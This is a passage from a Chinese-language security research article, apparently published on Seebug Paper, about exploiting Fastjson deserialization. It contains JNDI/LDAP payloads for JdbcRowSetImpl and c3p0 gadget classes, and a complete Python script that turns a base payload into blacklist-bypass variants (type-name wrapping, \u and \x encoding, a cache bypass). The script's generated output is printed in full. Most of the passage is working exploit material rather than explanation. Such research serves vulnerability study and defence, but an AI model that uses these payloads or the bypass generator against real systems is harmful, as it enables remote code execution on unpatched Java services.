5b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}
payload7:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://localhost:1389/Object",
"loginTimeout": 0
}
}
...還有很多
下面是個小腳本,可以將基礎payload轉出各種繞過的變形態,還增加了\u、\x編碼形式:
#!usr/bin/env python
# -*- coding:utf-8 -*-
"""
@author: longofo
@file: fastjson_fuzz.py
@time: 2020/05/07
"""
import json
from json import JSONDecodeError
class FastJsonPayload:
def __init__(self, base_payload):
try:
json.loads(base_payload)
except JSONDecodeError as ex:
raise ex
self.base_payload = base_payload
def gen_common(self, payload, func):
tmp_payload = json.loads(payload)
dct_objs = [tmp_payload]
while len(dct_objs) > 0:
tmp_objs = []
for dct_obj in dct_objs:
for key in dct_obj:
if key == "@type":
dct_obj[key] = func(dct_obj[key])
if type(dct_obj[key]) == dict:
tmp_objs.append(dct_obj[key])
dct_objs = tmp_objs
return json.dumps(tmp_payload)
# 對@type的value增加L開頭,;結尾的payload
def gen_payload1(self, payload: str):
return self.gen_common(payload, lambda v: "L" + v + ";")
# 對@type的value增加LL開頭,;;結尾的payload
def gen_payload2(self, payload: str):
return self.gen_common(payload, lambda v: "LL" + v + ";;")
# 對@type的value進行\u
def gen_payload3(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
# 對@type的value進行\x
def gen_payload4(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
# 生成cache繞過payload
def gen_payload5(self, payload: str):
cache_payload = {
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
}
cache_payload["rand2"] = json.loads(payload)
return json.dumps(cache_payload)
def gen(self):
payloads = []
payload1 = self.gen_payload1(self.base_payload)
yield payload1
payload2 = self.gen_payload2(self.base_payload)
yield payload2
payload3 = self.gen_payload3(self.base_payload)
yield payload3
payload4 = self.gen_payload4(self.base_payload)
yield payload4
payload5 = self.gen_payload5(self.base_payload)
yield payload5
payloads.append(payload1)
payloads.append(payload2)
payloads.append(payload5)
for payload in payloads:
yield self.gen_payload3(payload)
yield self.gen_payload4(payload)
if __name__ == '__main__':
fjp = FastJsonPayload('''{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}''')
for payload in fjp.gen():
print(payload)
print()
例如JdbcRowSetImpl結果:
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}
{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
有些師傅也通過掃描maven倉庫包來尋找符合jackson、fastjson的惡意利用類,似乎大多數都是在尋找jndi類型的漏洞。對于跑黑名單,可以看下這個項目,跑到1.2.62版本了,跑出來了大多數黑名單,不過很多都是包,具體哪個類還得去包中一一尋找。
參考鏈接
- http://www.bjnorthway.com/994/#0x03
- http://www.bjnorthway.com/1155/
- http://www.bjnorthway.com/994/
- http://www.bjnorthway.com/292/
- http://www.bjnorthway.com/636/
- https://www.anquanke.com/post/id/182140#h2-1
- https://github.com/LeadroyaL/fastjson-blacklist
- http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
- http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
- http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
- https://xz.aliyun.com/t/7027#toc-4
- https://zhuanlan.zhihu.com/p/99075925
- ...
太多了,感謝師傅們的辛勤記錄。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1192/
暫無評論